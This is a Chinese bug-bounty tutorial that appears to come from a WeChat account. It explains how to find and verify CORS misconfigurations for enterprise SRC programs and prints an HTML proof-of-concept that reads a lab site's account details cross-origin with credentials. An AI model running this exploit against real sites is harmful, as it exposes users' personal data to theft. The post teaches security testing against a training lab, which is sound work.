更多更好的内容请关注微信公众号“猎洞时刻”!!!
重要的事情说三遍,禁止做非法渗透!!!禁止做非法渗透!!!禁止做非法渗透!!!
前言
在企业SRC挖掘中,CORS漏洞的挖掘是极其简单的,只需要一个Origin: foo.example.org 就能验证,是一个低危捡钱漏洞,价值大概在50-100之间。
CORS是什么?
跨域资源共享 (CORS) 是一种浏览器机制,可以对位于给定域之外的资源进行受控访问。它扩展并增加了同源策略 ( SOP ) 的灵活性。但是,如果网站的 CORS 策略配置和实施不当,它也会为基于跨域的攻击提供可能性。
话不多说,我直接讲怎么挖掘这个漏洞。
漏洞验证
只需要在header中添加以下内容即可验证。
Origin: foo.example.org
然后返回值携带以下,就能证明存在跨域漏洞。
Access-Control-Allow-Origin: foo.example.org
Access-Control-Allow-Credentials: true
如果出现以下,或者是其他不符合上面的那个情况,说明不存在漏洞。
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
漏洞价值点
这种漏洞,一般出现在那些含有敏感信息的地方才有危害,比如个人简历信息,个人收货地址信息,个人身份信息等,如果这些地方出现跨域漏洞,就可能造成攻击者盗取敏感信息。
BURP靶场
验证该漏洞,可以去burp的官方靶场进行学习,比较方便。
https://portswigger.net/web-security/all-labs
如果能够成功跨域读取,就说明漏洞利用成功。
漏洞验证代码
以下是一个完整的整体,复制粘贴的时候分段了。。。
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
console.log(xhttp.responseText);
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "https://0a83004403e4d69a8146704500d70033.web-security-academy.net/accountDetails", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>